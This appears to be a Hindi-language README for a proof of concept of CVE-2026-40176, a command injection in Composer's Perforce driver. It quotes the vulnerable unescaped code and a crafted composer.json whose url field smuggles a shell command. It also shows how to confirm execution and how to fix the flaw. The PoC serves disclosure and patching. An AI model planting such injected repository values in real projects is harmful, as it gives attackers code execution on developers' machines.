
CVE-2026-40176 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Composer के Perforce VCS ड्राइवर में एक OS कमांड इंजेक्शन जो विशेष रूप से तैयार किए गए composer.json के माध्यम से दूरस्थ कोड निष्पादन को सक्षम करता है।
यह रिपॉजिटरी Composer के Perforce VCS ड्राइवर में मौजूद एक गंभीर OS कमांड इंजेक्शन भेद्यता CVE-2026-40176 का Proof of Concept (PoC) है। यह भेद्यता Composer 2.2.27 और 2.9.6 से पहले के संस्करणों को प्रभावित करती है।
भेद्यता Perforce::generateP4Command() विधि में मौजूद है। शेल कमांड को असेंबल करते समय, url, p4user, client आदि जैसे रिपॉजिटरी कॉन्फ़िगरेशन मानों का अपर्याप्त सैनिटाइज़ेशन होता है, जिससे हमलावर नियंत्रित composer.json का उपयोग करके, पीड़ित द्वारा composer install या composer update चलाने पर मनमाने कमांड निष्पादित कर सकता है।
खोजकर्ता: saku0512 (GitHub)
यह परियोजना केवल शैक्षिक उद्देश्य और अनुमत नैतिक सुरक्षा परीक्षण के लिए है।
इस उपकरण के दुरुपयोग, क्षति, या अवैध कृत्यों के लिए लेखक कोई जिम्मेदारी नहीं लेता है। बिना अनुमति के कंप्यूटर सिस्टम तक पहुँचना अवैध है। इस सॉफ़्टवेयर का उपयोग करने का अर्थ है कि आप केवल स्पष्ट अनुमति प्राप्त वातावरण में ही सुरक्षा परीक्षण करने के लिए सहमत हैं।
src/Composer/Util/Perforce.php में generateP4Command() विधि रिपॉजिटरी कॉन्फ़िगरेशन से प्राप्त स्ट्रिंग्स को सीधे जोड़कर शेल कमांड बनाती है।
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // エスケープされていない
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // エスケープされていない
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // エスケープされていない
यदि इन मानों में ;, &, | जैसे शेल मेटा कैरेक्टर शामिल हैं, तो वे शेल द्वारा व्याख्या किए जाते हैं, जिससे कमांड इंजेक्शन होता है।
सुनिश्चित करें कि PHP स्थापित है। यह PoC Composer के अंदर भेद्य तर्क को पुनः निर्मित करता है।
# PHPのバージョン確認
php -v
हमलावर निम्नलिखित composer.json बना सकता है:
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
संलग्न poc.php भेद्य Composer संस्करण में आंतरिक कमांड उत्पादन और निष्पादन तर्क को पुनः निर्मित करता है।
# PoCを実行
php poc.php
जाँच करें कि पेलोड द्वारा बनाई गई फ़ाइल मौजूद है या नहीं, और सत्यापित करें कि कमांड निष्पादित हुआ था।
ls -l /tmp/pwned_rce_confirmed
यदि फ़ाइल मौजूद है, तो आप पुष्टि कर सकते हैं कि RCE सफल हुआ।
कृपया Composer को तुरंत नवीनतम संस्करण में अपडेट करें।
composer self-update
फिक्स में, शेल द्वारा व्याख्या को रोकने के लिए, उपयोगकर्ता इनपुट से प्राप्त सभी तर्कों पर ProcessExecutor::escape() लागू किया गया है।